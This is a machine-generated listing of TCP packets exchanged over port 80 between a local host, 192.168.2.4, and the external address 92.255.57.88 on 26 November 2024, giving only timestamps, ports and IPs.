Nov 26, 2024 00:07:45.316282034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.316327095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.317008018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.317065954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.317107916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.317152977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.317816019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.317862988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.317908049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.317954063 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.318603039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.318653107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.318718910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.318782091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.319437027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.319493055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.319509029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.319555044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.320233107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.320288897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.320321083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.320370913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.321012020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.321060896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.321119070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.321161985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.321829081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.321878910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.321940899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.321994066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.322633982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.322683096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.322742939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.322791100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.323436975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.323482037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.323556900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.323599100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.324280024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.324323893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.324429035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.324472904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.325076103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.325120926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.325160027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.325203896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.325860023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.325932026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.325937986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.325972080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.326716900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.326761007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.326890945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.326932907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.327502012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.327547073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.327626944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.327670097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.328294039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.328337908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.328463078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.328511953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.329102993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.329149008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.329210997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.329252958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.329942942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.329987049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.330076933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.330120087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.330741882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.330791950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.330831051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.330876112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.331505060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.331553936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.331628084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.331672907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.332344055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.332391024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.332446098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.332494020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.333133936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.333180904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.333283901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.333331108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.333933115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.333981037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.334069014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.334115028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.334882975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.334950924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.334959030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.335004091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.335555077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.335602999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.335644960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.335691929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.336349964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.336397886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.336416006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.336461067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.337167978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.337214947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.337280989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.337327003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.337964058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.338032961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.338063955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.338109970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.338768005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.338818073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.338887930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.338933945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.339581966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.339631081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.339689016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.339735031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.340395927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.340432882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.340445995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.340467930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.341197968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.341247082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.341288090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.341334105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.342005014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.342056036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.342116117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.342159986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.342842102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.342894077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.342902899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.342945099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.343635082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.343679905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.343764067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.343802929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.344444990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.344491959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.344641924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.344688892 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.345345020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.345416069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.345451117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.345499992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.346034050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.346084118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.346139908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.346187115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.346827984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.346875906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.346941948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.346988916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.347665071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.347713947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.347789049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.347836018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.348490953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.348536968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.348613977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.348660946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.349324942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.349374056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.349443913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.349492073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.350111961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.350161076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.350239038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.350286007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.350869894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.350919008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.351011992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.351059914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.351677895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.351727962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.351810932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.351857901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.352494001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.352543116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.352610111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.352668047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.353290081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.353337049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.353444099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.353492022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.354137897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.354187012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.354259014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.354305983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.354981899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.354995012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.355036974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.355729103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.355796099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.355820894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.355869055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.356523037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.356579065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.525226116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.525254965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.525326967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.525327921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.525667906 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.525687933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.525722980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.525739908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.526103020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.526153088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.526293993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.526344061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.526938915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.526990891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.527048111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.527093887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.527717113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.527769089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.527920961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.527966022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.528508902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.528569937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.528640032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.528686047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.529356956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.529412031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.529484034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.529535055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.530102968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.530157089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.530211926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.530267000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.530884981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.530937910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.531009912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.531054020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.531688929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.531742096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.531768084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.531814098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.532567024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.532619953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.532706976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.532754898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.533361912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.533411980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.533431053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.533478022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.534148932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.534198046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.534254074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.534303904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.534936905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.534990072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.535028934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.535075903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.535820007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.535887957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.535897017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.535933971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.536559105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.536623001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.536663055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.536709070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.537344933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.537395954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.537497044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.537547112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.538161039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.538216114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.538263083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.538309097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.538958073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.539011002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.539072037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.539124966 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.539769888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.539824963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.539864063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.539906979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.540584087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.540637016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.540694952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.540744066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.541384935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.541445017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.541485071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.541526079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.542160988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.542213917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.578547001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.699266911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.039112091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.039133072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.039139032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.039145947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.039419889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.039768934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.039820910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.040014982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.040055037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.040380955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.040425062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.040517092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.040565968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.041186094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.041229963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.041402102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.041445971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.041973114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.042016983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.042090893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.042134047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.042794943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.042840004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.042937040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.042979956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.043651104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.043695927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.043939114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.043981075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.044410944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.044455051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.044899940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.044941902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.045217037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.045258999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.045767069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.045808077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.046020985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.046058893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.046117067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.046154976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.046833992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.046879053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.046953917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.046989918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.047640085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.047679901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.047827959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.047867060 CET	49753	80	192.168.2.4	92.255.57.88
